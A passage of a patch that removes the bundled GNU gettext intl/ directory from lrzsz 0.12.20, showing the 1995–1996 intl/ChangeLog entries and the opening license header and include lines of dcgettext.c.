+-
+- * Makefile.in (installcheck): New goal to fulfill needs of
+- automake's distcheck.
+-
+- * Makefile.in (install): Reorder commands so that VERSION is
+- found.
+-
+- * Makefile.in (gettextsrcdir): Now use subdirectory intl/ in
+- @datadir@/gettext.
+- (COMSRCS): Add l10nfile.c.
+- (OBJECTS): Add l10nfile.o.
+- (DISTFILES): Rename to DISTFILE.normal. Remove $(DISTFILES.common).
+- (DISTFILE.gettext): Remove $(DISTFILES.common).
+- (all-gettext): Remove goal.
+- (install): If $(PACKAGE) = gettext install, otherwose do nothing. No
+- package but gettext itself should install libintl.h + headers.
+- (dist): Extend goal to work for gettext, too.
+- (dist-gettext): Remove goal.
+-
+- * dcgettext.c [!HAVE_ALLOCA]: Define macro alloca by using malloc.
+-
+-Sun Jun 2 17:33:06 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * loadmsgcat.c (_nl_load_domain): Parameter is now comes from
+- find_l10nfile.
+-
+-Sat Jun 1 02:23:03 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * l10nflist.c (__argz_next): Add definition.
+-
+- * dcgettext.c [!HAVE_ALLOCA]: Add code for handling missing alloca
+- code. Use new l10nfile handling.
+-
+- * localealias.c [!HAVE_ALLOCA]: Add code for handling missing
+- alloca code.
+-
+- * l10nflist.c: Initial revision.
+-
+-Tue Apr 2 18:51:18 1996 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (all-gettext): New goal. Same as all-yes.
+-
+-Thu Mar 28 23:01:22 1996 Karl Eichwalder <ke@ke.central.de>
+-
+- * Makefile.in (gettextsrcdir): Define using @datadir@.
+-
+-Tue Mar 26 12:39:14 1996 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c: Include <ctype.h>. Reported by Roland McGrath.
+-
+-Sat Mar 23 02:00:35 1996 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (stpcpy): Rename to stpcpy__ to prevent clashing
+- with external declaration.
+-
+-Sat Mar 2 00:47:09 1996 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (all-no): Rename from all_no.
+-
+-Sat Feb 17 00:25:59 1996 Ulrich Drepper <drepper@myware>
+-
+- * gettextP.h [loaded_domain]: Array `successor' must now contain up
+- to 63 elements (because of codeset name normalization).
+-
+- * finddomain.c: Implement codeset name normalization.
+-
+-Thu Feb 15 04:39:09 1996 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (all): Define to `all-@USE_NLS@'.
+- (all-yes, all_no): New goals. `all-no' is noop, `all-yes'
+- is former all.
+-
+-Mon Jan 15 21:46:01 1996 Howard Gayle <howard@hal.com>
+-
+- * localealias.c (alias_compare): Increment string pointers in loop
+- of strcasecmp replacement.
+-
+-Fri Dec 29 21:16:34 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (install-src): Who commented this goal out ? :-)
+-
+-Fri Dec 29 15:08:16 1995 Ulrich Drepper <drepper@myware>
+-
+- * dcgettext.c (DCGETTEXT): Save `errno'. Failing system calls
+- should not effect it because a missing catalog is no error.
+- Reported by Harald K<o:>nig <koenig@tat.physik.uni-tuebingen.de>.
+-
+-Tue Dec 19 22:09:13 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (Makefile): Explicitly use $(SHELL) for running
+- shell scripts.
+-
+-Fri Dec 15 17:34:59 1995 Andreas Schwab <schwab@issan.informatik.uni-dortmund.de>
+-
+- * Makefile.in (install-src): Only install library and header when
+- we use the own implementation. Don't do it when using the
+- system's gettext or catgets functions.
+-
+- * dcgettext.c (find_msg): Must not swap domain->hash_size here.
+-
+-Sat Dec 9 16:24:37 1995 Ulrich Drepper <drepper@myware>
+-
+- * localealias.c, libintl.inst, libgettext.h, hash-string.h,
+- gettextP.h, finddomain.c, dcgettext.c, cat-compat.c:
+- Use PARAMS instead of __P. Suggested by Roland McGrath.
+-
+-Tue Dec 5 11:39:14 1995 Larry Schwimmer <rosebud@cyclone.stanford.edu>
+-
+- * libgettext.h: Use `#if !defined (_LIBINTL_H)' instead of `#if
+- !_LIBINTL_H' because Solaris defines _LIBINTL_H as empty.
+-
+-Mon Dec 4 15:42:07 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (install-src):
+- Install libintl.inst instead of libintl.h.install.
+-
+-Sat Dec 2 22:51:38 1995 Marcus Daniels <marcus@sysc.pdx.edu>
+-
+- * cat-compat.c (textdomain):
+- Reverse order in which files are tried you load. First
+- try local file, when this failed absolute path.
+-
+-Wed Nov 29 02:03:53 1995 Nelson H. F. Beebe <beebe@math.utah.edu>
+-
+- * cat-compat.c (bindtextdomain): Add missing { }.
+-
+-Sun Nov 26 18:21:41 1995 Ulrich Drepper <drepper@myware>
+-
+- * libintl.inst: Add missing __P definition. Reported by Nelson Beebe.
+-
+- * Makefile.in:
+- Add dummy `all' and `dvi' goals. Reported by Tom Tromey.
+-
+-Sat Nov 25 16:12:01 1995 Franc,ois Pinard <pinard@iro.umontreal.ca>
+-
+- * hash-string.h: Capitalize arguments of macros.
+-
+-Sat Nov 25 12:01:36 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (DISTFILES): Prevent files names longer than 13
+- characters. libintl.h.glibc->libintl.glibc,
+- libintl.h.install->libintl.inst. Reported by Joshua R. Poulson.
+-
+-Sat Nov 25 11:31:12 1995 Eric Backus <ericb@lsid.hp.com>
+-
+- * dcgettext.c: Fix bug in preprocessor conditionals.
+-
+-Sat Nov 25 02:35:27 1995 Nelson H. F. Beebe <beebe@math.utah.edu>
+-
+- * libgettext.h: Solaris cc does not understand
+- #if !SYMBOL1 && !SYMBOL2. Sad but true.
+-
+-Thu Nov 23 16:22:14 1995 Ulrich Drepper <drepper@myware>
+-
+- * hash-string.h (hash_string):
+- Fix for machine with >32 bit `unsigned long's.
+-
+- * dcgettext.c (DCGETTEXT):
+- Fix horrible bug in loop for alternative translation.
+-
+-Thu Nov 23 01:45:29 1995 Ulrich Drepper <drepper@myware>
+-
+- * po2tbl.sed.in, linux-msg.sed, xopen-msg.sed:
+- Some further simplifications in message number generation.
+-
+-Mon Nov 20 21:08:43 1995 Ulrich Drepper <drepper@myware>
+-
+- * libintl.h.glibc: Use __const instead of const in prototypes.
+-
+- * Makefile.in (install-src):
+- Install libintl.h.install instead of libintl.h. This
+- is a stripped-down version. Suggested by Peter Miller.
+-
+- * libintl.h.install, libintl.h.glibc: Initial revision.
+-
+- * localealias.c (_nl_expand_alias, read_alias_file):
+- Protect prototypes in type casts by __P.
+-
+-Tue Nov 14 16:43:58 1995 Ulrich Drepper <drepper@myware>
+-
+- * hash-string.h: Correct prototype for hash_string.
+-
+-Sun Nov 12 12:42:30 1995 Ulrich Drepper <drepper@myware>
+-
+- * hash-string.h (hash_string): Add prototype.
+-
+- * gettextP.h: Fix copyright.
+- (SWAP): Add prototype.
+-
+-Wed Nov 8 22:56:33 1995 Ulrich Drepper <drepper@myware>
+-
+- * localealias.c (read_alias_file): Forgot sizeof.
+- Avoid calling *printf function. This introduces a big overhead.
+- Patch by Roland McGrath.
+-
+-Tue Nov 7 14:21:08 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c, cat-compat.c: Wrong indentation in #if for stpcpy.
+-
+- * finddomain.c (stpcpy):
+- Define substitution function local. The macro was to flaky.
+-
+- * cat-compat.c: Fix typo.
+-
+- * xopen-msg.sed, linux-msg.sed:
+- While bringing message number to right place only accept digits.
+-
+- * linux-msg.sed, xopen-msg.sed: Now that the counter does not have
+- leading 0s we don't need to remove them. Reported by Marcus
+- Daniels.
+-
+- * Makefile.in (../po/cat-id-tbl.o): Use $(top_srdir) in
+- dependency. Reported by Marcus Daniels.
+-
+- * cat-compat.c: (stpcpy) [!_LIBC && !HAVE_STPCPY]: Define replacement.
+- Generally cleanup using #if instead of #ifndef.
+-
+- * Makefile.in: Correct typos in comment. By Franc,ois Pinard.
+-
+-Mon Nov 6 00:27:02 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (install-src): Don't install libintl.h and libintl.a
+- if we use an available gettext implementation.
+-
+-Sun Nov 5 22:02:08 1995 Ulrich Drepper <drepper@myware>
+-
+- * libgettext.h: Fix typo: HAVE_CATGETTS -> HAVE_CATGETS. Reported
+- by Franc,ois Pinard.
+-
+- * libgettext.h: Use #if instead of #ifdef/#ifndef.
+-
+- * finddomain.c:
+- Comments describing what has to be done should start with FIXME.
+-
+-Sun Nov 5 19:38:01 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (DISTFILES): Split. Use DISTFILES with normal meaning.
+- DISTFILES.common names the files common to both dist goals.
+- DISTFILES.gettext are the files only distributed in GNU gettext.
+-
+-Sun Nov 5 17:32:54 1995 Ulrich Drepper <drepper@myware>
+-
+- * dcgettext.c (DCGETTEXT): Correct searching in derived locales.
+- This was necessary since a change in _nl_find_msg several weeks
+- ago. I really don't know this is still not fixed.
+-
+-Sun Nov 5 12:43:12 1995 Ulrich Drepper <drepper@myware>
+-
+- * loadmsgcat.c (_nl_load_domain): Test for FILENAME == NULL. This
+- might mark a special condition.
+-
+- * finddomain.c (make_entry_rec): Don't make illegal entry as decided.
+-
+- * Makefile.in (dist): Suppress error message when ln failed.
+- Get files from $(srcdir) explicitly.
+-
+- * libgettext.h (gettext_const): Rename to gettext_noop.
+-
+-Fri Nov 3 07:36:50 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (make_entry_rec):
+- Protect against wrong locale names by testing mask.
+-
+- * libgettext.h (gettext_const): Add macro definition.
+- Capitalize macro arguments.
+-
+-Thu Nov 2 23:15:51 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (_nl_find_domain):
+- Test for pointer != NULL before accessing value.
+- Reported by Tom Tromey.
+-
+- * gettext.c (NULL):
+- Define as (void*)0 instad of 0. Reported by Franc,ois Pinard.
+-
+-Mon Oct 30 21:28:52 1995 Ulrich Drepper <drepper@myware>
+-
+- * po2tbl.sed.in: Serious typo bug fixed by Jim Meyering.
+-
+-Sat Oct 28 23:20:47 1995 Ulrich Drepper <drepper@myware>
+-
+- * libgettext.h: Disable dcgettext optimization for Solaris 2.3.
+-
+- * localealias.c (alias_compare):
+- Peter Miller reported that tolower in some systems is
+- even dumber than I thought. Protect call by `isupper'.
+-
+-Fri Oct 27 22:22:51 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (libdir, includedir): New variables.
+- (install-src): Install libintl.a and libintl.h in correct dirs.
+-
+-Fri Oct 27 22:07:29 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (SOURCES): Fix typo: intrl.compat.c -> intl-compat.c.
+-
+- * po2tbl.sed.in: Patch for buggy SEDs by Christian von Roques.
+-
+- * localealias.c:
+- Fix typo and superflous test. Reported by Christian von Roques.
+-
+-Fri Oct 6 11:52:05 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (_nl_find_domain):
+- Correct some remainder from the pre-CEN syntax. Now
+- we don't have a constant number of successors anymore.
+-
+-Wed Sep 27 21:41:13 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (DISTFILES): Add libintl.h.glibc.
+-
+- * Makefile.in (dist-libc): Add goal for packing sources for glibc.
+- (COMSRCS, COMHDRS): Splitted to separate sources shared with glibc.
+-
+- * loadmsgcat.c: Forget to continue #if line.
+-
+- * localealias.c:
+- [_LIBC]: Rename strcasecmp to __strcasecmp to keep ANSI C name
+- space clean.
+-
+- * dcgettext.c, finddomain.c: Better comment to last change.
+-
+- * loadmsgcat.c:
+- [_LIBC]: Rename fstat, open, close, read, mmap, and munmap to
+- __fstat, __open, __close, __read, __mmap, and __munmap resp
+- to keep ANSI C name space clean.
+-
+- * finddomain.c:
+- [_LIBC]: Rename stpcpy to __stpcpy to keep ANSI C name space clean.
+-
+- * dcgettext.c:
+- [_LIBC]: Rename getced and stpcpy to __getcwd and __stpcpy resp to
+- keep ANSI C name space clean.
+-
+- * libgettext.h:
+- Include sys/types.h for those old SysV systems out there.
+- Reported by Francesco Potorti`.
+-
+- * loadmsgcat.c (use_mmap): Define if compiled for glibc.
+-
+- * bindtextdom.c: Include all those standard headers
+- unconditionally if _LIBC is defined.
+-
+- * finddomain.c: Fix 2 times defiend -> defined.
+-
+- * textdomain.c: Include libintl.h instead of libgettext.h when
+- compiling for glibc. Include all those standard headers
+- unconditionally if _LIBC is defined.
+-
+- * localealias.c, loadmsgcat.c: Prepare to be compiled in glibc.
+-
+- * gettext.c:
+- Include libintl.h instead of libgettext.h when compiling for glibc.
+- Get NULL from stddef.h if we compile for glibc.
+-
+- * finddomain.c: Include libintl.h instead of libgettext.h when
+- compiling for glibc. Include all those standard headers
+- unconditionally if _LIBC is defined.
+-
+- * dcgettext.c: Include all those standard headers unconditionally
+- if _LIBC is defined.
+-
+- * dgettext.c: If compiled in glibc include libintl.h instead of
+- libgettext.h.
+- (locale.h): Don't rely on HAVE_LOCALE_H when compiling for glibc.
+-
+- * dcgettext.c: If compiled in glibc include libintl.h instead of
+- libgettext.h.
+- (getcwd): Don't rely on HAVE_GETCWD when compiling for glibc.
+-
+- * bindtextdom.c:
+- If compiled in glibc include libintl.h instead of libgettext.h.
+-
+-Mon Sep 25 22:23:06 1995 Ulrich Drepper <drepper@myware>
+-
+- * localealias.c (_nl_expand_alias): Don't call bsearch if NMAP <= 0.
+- Reported by Marcus Daniels.
+-
+- * cat-compat.c (bindtextdomain):
+- String used in putenv must not be recycled.
+- Reported by Marcus Daniels.
+-
+- * libgettext.h (__USE_GNU_GETTEXT):
+- Additional symbol to signal that we use GNU gettext
+- library.
+-
+- * cat-compat.c (bindtextdomain):
+- Fix bug with the strange stpcpy replacement.
+- Reported by Nelson Beebe.
+-
+-Sat Sep 23 08:23:51 1995 Ulrich Drepper <drepper@myware>
+-
+- * cat-compat.c: Include <string.h> for stpcpy prototype.
+-
+- * localealias.c (read_alias_file):
+- While expand strdup code temporary variable `cp' hided
+- higher level variable with same name. Rename to `tp'.
+-
+- * textdomain.c (textdomain):
+- Avoid warning by using temporary variable in strdup code.
+-
+- * finddomain.c (_nl_find_domain): Remove unused variable `application'.
+-
+-Thu Sep 21 15:51:44 1995 Ulrich Drepper <drepper@myware>
+-
+- * localealias.c (alias_compare):
+- Use strcasecmp() only if available. Else use
+- implementation in place.
+-
+- * intl-compat.c:
+- Wrapper functions now call *__ functions instead of __*.
+-
+- * libgettext.h: Declare prototypes for *__ functions instead for __*.
+-
+- * cat-compat.c, loadmsgcat.c:
+- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
+- of the standard libc and so prevent libintl.a from being used
+- standalone.
+-
+- * bindtextdom.c:
+- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
+- of the standard libc and so prevent libintl.a from being used
+- standalone.
+- Rename to bindtextdomain__ if not used in GNU C Library.
+-
+- * dgettext.c:
+- Rename function to dgettext__ if not used in GNU C Library.
+-
+- * gettext.c:
+- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
+- of the standard libc and so prevent libintl.a from being used
+- standalone.
+- Functions now called gettext__ if not used in GNU C Library.
+-
+- * dcgettext.c, localealias.c, textdomain.c, finddomain.c:
+- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
+- of the standard libc and so prevent libintl.a from being used
+- standalone.
+-
+-Sun Sep 17 23:14:49 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c: Correct some bugs in handling of CEN standard
+- locale definitions.
+-
+-Thu Sep 7 01:49:28 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c: Implement CEN syntax.
+-
+- * gettextP.h (loaded_domain): Extend number of successors to 31.
+-
+-Sat Aug 19 19:25:29 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (aliaspath): Remove path to X11 locale dir.
+-
+- * Makefile.in: Make install-src depend on install. This helps
+- gettext to install the sources and other packages can use the
+- install goal.
+-
+-Sat Aug 19 15:19:33 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (uninstall): Remove stuff installed by install-src.
+-
+-Tue Aug 15 13:13:53 1995 Ulrich Drepper <drepper@myware>
+-
+- * VERSION.in: Initial revision.
+-
+- * Makefile.in (DISTFILES):
+- Add VERSION file. This is not necessary for gettext, but
+- for other packages using this library.
+-
+-Tue Aug 15 06:16:44 1995 Ulrich Drepper <drepper@myware>
+-
+- * gettextP.h (_nl_find_domain):
+- New prototype after changing search strategy.
+-
+- * finddomain.c (_nl_find_domain):
+- We now try only to find a specified catalog. Fall back to other
+- catalogs listed in the locale list is now done in __dcgettext.
+-
+- * dcgettext.c (__dcgettext):
+- Now we provide message fall back even to different languages.
+- I.e. if a message is not available in one language all the other
+- in the locale list a tried. Formerly fall back was only possible
+- within one language. Implemented by moving one loop from
+- _nl_find_domain to here.
+-
+-Mon Aug 14 23:45:50 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (gettextsrcdir):
+- Directory where source of GNU gettext library are made
+- available.
+- (INSTALL, INSTALL_DATA): Programs used for installing sources.
+- (gettext-src): New. Rule to install GNU gettext sources for use in
+- gettextize shell script.
+-
+-Sun Aug 13 14:40:48 1995 Ulrich Drepper <drepper@myware>
+-
+- * loadmsgcat.c (_nl_load_domain):
+- Use mmap for loading only when munmap function is
+- also available.
+-
+- * Makefile.in (install): Depend on `all' goal.
+-
+-Wed Aug 9 11:04:33 1995 Ulrich Drepper <drepper@myware>
+-
+- * localealias.c (read_alias_file):
+- Do not overwrite '\n' when terminating alias value string.
+-
+- * localealias.c (read_alias_file):
+- Handle long lines. Ignore the rest not fitting in
+- the buffer after the initial `fgets' call.
+-
+-Wed Aug 9 00:54:29 1995 Ulrich Drepper <drepper@myware>
+-
+- * gettextP.h (_nl_load_domain):
+- Add prototype, replacing prototype for _nl_load_msg_cat.
+-
+- * finddomain.c (_nl_find_domain):
+- Remove unneeded variable filename and filename_len.
+- (expand_alias): Remove prototype because functions does not
+- exist anymore.
+-
+- * localealias.c (read_alias_file):
+- Change type of fname_len parameter to int.
+- (xmalloc): Add prototype.
+-
+- * loadmsgcat.c: Better prototypes for xmalloc.
+-
+-Tue Aug 8 22:30:39 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (_nl_find_domain):
+- Allow alias name to be constructed from the four components.
+-
+- * Makefile.in (aliaspath): New variable. Set to preliminary value.
+- (SOURCES): Add localealias.c.
+- (OBJECTS): Add localealias.o.
+-
+- * gettextP.h: Add prototype for _nl_expand_alias.
+-
+- * finddomain.c: Aliasing handled in intl/localealias.c.
+-
+- * localealias.c: Aliasing for locale names.
+-
+- * bindtextdom.c: Better prototypes for xmalloc and xstrdup.
+-
+-Mon Aug 7 23:47:42 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (DISTFILES): gettext.perl is now found in misc/.
+-
+- * cat-compat.c (bindtextdomain):
+- Correct implementation. dirname parameter was not used.
+- Reported by Marcus Daniels.
+-
+- * gettextP.h (loaded_domain):
+- New fields `successor' and `decided' for oo, lazy
+- message handling implementation.
+-
+- * dcgettext.c:
+- Adopt for oo, lazy message handliing.
+- Now we can inherit translations from less specific locales.
+- (find_msg): New function.
+-
+- * loadmsgcat.c, finddomain.c:
+- Complete rewrite. Implement oo, lazy message handling :-).
+- We now have an additional environment variable `LANGUAGE' with
+- a higher priority than LC_ALL for the LC_MESSAGE locale.
+- Here we can set a colon separated list of specifications each
+- of the form `language[_territory[.codeset]][@modifier]'.
+-
+-Sat Aug 5 09:55:42 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (unistd.h):
+- Include to get _PC_PATH_MAX defined on system having it.
+-
+-Fri Aug 4 22:42:00 1995 Ulrich Drepper <drepper@myware>
+-
+- * finddomain.c (stpcpy): Include prototype.
+-
+- * Makefile.in (dist): Remove `copying instead' message.
+-
+-Wed Aug 2 18:52:03 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (ID, TAGS): Do not use $^.
+-
+-Tue Aug 1 20:07:11 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (TAGS, ID): Use $^ as command argument.
+- (TAGS): Give etags -o option t write to current directory,
+- not $(srcdir).
+- (ID): Use $(srcdir) instead os $(top_srcdir)/src.
+- (distclean): Remove ID.
+-
+-Sun Jul 30 11:51:46 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (gnulocaledir):
+- New variable, always using share/ for data directory.
+- (DEFS): Add GNULOCALEDIR, used in finddomain.c.
+-
+- * finddomain.c (_nl_default_dirname):
+- Set to GNULOCALEDIR, because it always has to point
+- to the directory where GNU gettext Library writes it to.
+-
+- * intl-compat.c (textdomain, bindtextdomain):
+- Undefine macros before function definition.
+-
+-Sat Jul 22 01:10:02 1995 Ulrich Drepper <drepper@myware>
+-
+- * libgettext.h (_LIBINTL_H):
+- Protect definition in case where this file is included as
+- libgettext.h on Solaris machines. Add comment about this.
+-
+-Wed Jul 19 02:36:42 1995 Ulrich Drepper <drepper@myware>
+-
+- * intl-compat.c (textdomain): Correct typo.
+-
+-Wed Jul 19 01:51:35 1995 Ulrich Drepper <drepper@myware>
+-
+- * dcgettext.c (dcgettext): Function now called __dcgettext.
+-
+- * dgettext.c (dgettext): Now called __dgettext and calls
+- __dcgettext.
+-
+- * gettext.c (gettext):
+- Function now called __gettext and calls __dgettext.
+-
+- * textdomain.c (textdomain): Function now called __textdomain.
+-
+- * bindtextdom.c (bindtextdomain): Function now called
+- __bindtextdomain.
+-
+- * intl-compat.c: Initial revision.
+-
+- * Makefile.in (SOURCES): Add intl-compat.c.
+- (OBJECTS): We always compile the GNU gettext library functions.
+- OBJECTS contains all objects but cat-compat.o, ../po/cat-if-tbl.o,
+- and intl-compat.o.
+- (GETTOBJS): Contains now only intl-compat.o.
+-
+- * libgettext.h:
+- Re-include protection matches dualistic character of libgettext.h.
+- For all functions in GNU gettext library define __ counter part.
+-
+- * finddomain.c (strchr): Define as index if not found in C library.
+- (_nl_find_domain): For relative paths paste / in between.
+-
+-Tue Jul 18 16:37:45 1995 Ulrich Drepper <drepper@myware>
+-
+- * loadmsgcat.c, finddomain.c: Add inclusion of sys/types.h.
+-
+- * xopen-msg.sed: Fix bug with `msgstr ""' lines.
+- A little bit better comments.
+-
+-Tue Jul 18 01:18:27 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in:
+- po-mode.el, makelinks, combine-sh are now found in ../misc.
+-
+- * po-mode.el, makelinks, combine-sh, elisp-comp:
+- Moved to ../misc/.
+-
+- * libgettext.h, gettextP.h, gettext.h: Uniform test for __STDC__.
+-
+-Sun Jul 16 22:33:02 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (INSTALL, INSTALL_DATA): New variables.
+- (install-data, uninstall): Install/uninstall .elc file.
+-
+- * po-mode.el (Installation comment):
+- Add .pox as possible extension of .po files.
+-
+-Sun Jul 16 13:23:27 1995 Ulrich Drepper <drepper@myware>
+-
+- * elisp-comp: Complete new version by Franc,ois: This does not
+- fail when not compiling in the source directory.
+-
+-Sun Jul 16 00:12:17 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (../po/cat-id-tbl.o):
+- Use $(MAKE) instead of make for recursive make.
+-
+- * Makefile.in (.el.elc): Use $(SHELL) instead of /bin/sh.
+- (install-exec): Add missing dummy goal.
+- (install-data, uninstall): @ in multi-line shell command at
+- beginning, not in front of echo. Reported by Eric Backus.
+-
+-Sat Jul 15 00:21:28 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (DISTFILES):
+- Rename libgettext.perl to gettext.perl to fit in 14 chars
+- file systems.
+-
+- * gettext.perl:
+- Rename to gettext.perl to fit in 14 chars file systems.
+-
+-Thu Jul 13 23:17:20 1995 Ulrich Drepper <drepper@myware>
+-
+- * cat-compat.c: If !STDC_HEADERS try to include malloc.h.
+-
+-Thu Jul 13 20:55:02 1995 Ulrich Drepper <drepper@myware>
+-
+- * po2tbl.sed.in: Pretty printing.
+-
+- * linux-msg.sed, xopen-msg.sed:
+- Correct bugs with handling substitute flags in branches.
+-
+- * hash-string.h (hash_string):
+- Old K&R compilers don't under stand `unsigned char'.
+-
+- * gettext.h (nls_uint32):
+- Some old K&R compilers (eg HP) don't understand `unsigned int'.
+-
+- * cat-compat.c (msg_to_cat_id): De-ANSI-fy prototypes.
+-
+-Thu Jul 13 01:34:33 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (ELCFILES): New variable.
+- (DISTFILES): Add elisp-comp.
+- Add implicit rule for .el -> .elc compilation.
+- (install-data): install $ELCFILES
+- (clean): renamed po-to-tbl and po-to-msg to po2tbl and po2msg resp.
+-
+- * elisp-comp: Initial revision
+-
+-Wed Jul 12 16:14:52 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in:
+- cat-id-tbl.c is now found in po/. This enables us to use an identical
+- intl/ directory in all packages.
+-
+- * dcgettext.c (dcgettext): hashing does not work for table size <= 2.
+-
+- * textdomain.c: fix typo (#if def -> #if defined)
+-
+-Tue Jul 11 18:44:43 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in (stamp-cat-id): use top_srcdir to address source files
+- (DISTFILES,distclean): move tupdate.perl to src/
+-
+- * po-to-tbl.sed.in:
+- add additional jump to clear change flag to recognize multiline strings
+-
+-Tue Jul 11 01:32:50 1995 Ulrich Drepper <drepper@myware>
+-
+- * textdomain.c: Protect inclusion of stdlib.h and string.h.
+-
+- * loadmsgcat.c: Protect inclusion of stdlib.h.
+-
+- * libgettext.h: Protect inclusion of locale.h.
+- Allow use in C++ programs.
+- Define NULL is not happened already.
+-
+- * Makefile.in (DISTFILES): ship po-to-tbl.sed.in instead of
+- po-to-tbl.sed.
+- (distclean): remove po-to-tbl.sed and tupdate.perl.
+-
+- * tupdate.perl.in: Substitute Perl path even in exec line.
+- Don't include entries without translation from old .po file.
+-
+-Tue Jul 4 00:41:51 1995 Ulrich Drepper <drepper@myware>
+-
+- * tupdate.perl.in: use "Updated: " in msgid "".
+-
+- * cat-compat.c: Fix typo (LOCALDIR -> LOCALEDIR).
+- Define getenv if !__STDC__.
+-
+- * bindtextdom.c: Protect stdlib.h and string.h inclusion.
+- Define free if !__STDC__.
+-
+- * finddomain.c: Change DEF_MSG_DOM_DIR to LOCALEDIR.
+- Define free if !__STDC__.
+-
+- * cat-compat.c: Change DEF_MSG_DOM_DIR to LOCALEDIR.
+-
+-Mon Jul 3 23:56:30 1995 Ulrich Drepper <drepper@myware>
+-
+- * Makefile.in: Use LOCALEDIR instead of DEF_MSG_DOM_DIR.
+- Remove unneeded $(srcdir) from Makefile.in dependency.
+-
+- * makelinks: Add copyright and short description.
+-
+- * po-mode.el: Last version for 0.7.
+-
+- * tupdate.perl.in: Fix die message.
+-
+- * dcgettext.c: Protect include of string.h.
+-
+- * gettext.c: Protect include of stdlib.h and further tries to get NULL.
+-
+- * finddomain.c: Some corrections in includes.
+-
+- * Makefile.in (INCLUDES): Prune list correct path to Makefile.in.
+-
+- * po-to-tbl.sed: Adopt for new .po file format.
+-
+- * linux-msg.sed, xopen-msg.sed: Adopt for new .po file format.
+-
+-Sun Jul 2 23:55:03 1995 Ulrich Drepper <drepper@myware>
+-
+- * tupdate.perl.in: Complete rewrite for new .po file format.
+-
+-Sun Jul 2 02:06:50 1995 Ulrich Drepper <drepper@myware>
+-
+- * First official release. This directory contains all the code
+- needed to internationalize own packages. It provides functions
+- which allow to use the X/Open catgets function with an interface
+- like the Uniforum gettext function. For system which does not
+- have neither of those a complete implementation is provided.
+diff -uprN clean/lrzsz-0.12.20/intl/dcgettext.c lrzsz-0.12.20/intl/dcgettext.c
+--- clean/lrzsz-0.12.20/intl/dcgettext.c 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/dcgettext.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,593 +0,0 @@
+-/* Implementation of the dcgettext(3) function
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <sys/types.h>
+-
+-#ifdef __GNUC__
+-# define alloca __builtin_alloca
+-# define HAVE_ALLOCA 1
+-#else
+-# if defined HAVE_ALLOCA_H || defined _LIBC
+-# include <alloca.h>
+-# else
+-# ifdef _AIX
+- #pragma alloca
+-# else
+-# ifndef alloca
+-char *alloca ();
+-# endif
+-# endif
+-# endif
+-#endif
+-
+-#include <errno.h>
+-#ifndef errno
+-extern int errno;
+-#endif
+-#ifndef __set_errno
+-# define __set_errno(val) errno = (val)
+-#endif
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#else
+-char *getenv ();
+-# ifdef HAVE_MALLOC_H
+-# include <malloc.h>
+-# else
+-void free ();
+-# endif
+-#endif
+-
+-#if defined HAVE_STRING_H || defined _LIBC
+-# ifndef _GNU_SOURCE
+-# define _GNU_SOURCE 1
+-# endif
+-# include <string.h>
+-#else
+-# include <strings.h>
+-#endif
+-#if !HAVE_STRCHR && !defined _LIBC
+-# ifndef strchr
+-# define strchr index
+-# endif
+-#endif
+-
+-#if defined HAVE_UNISTD_H || defined _LIBC
+-# include <unistd.h>
+-#endif
+-
+-#include "gettext.h"
+-#include "gettextP.h"
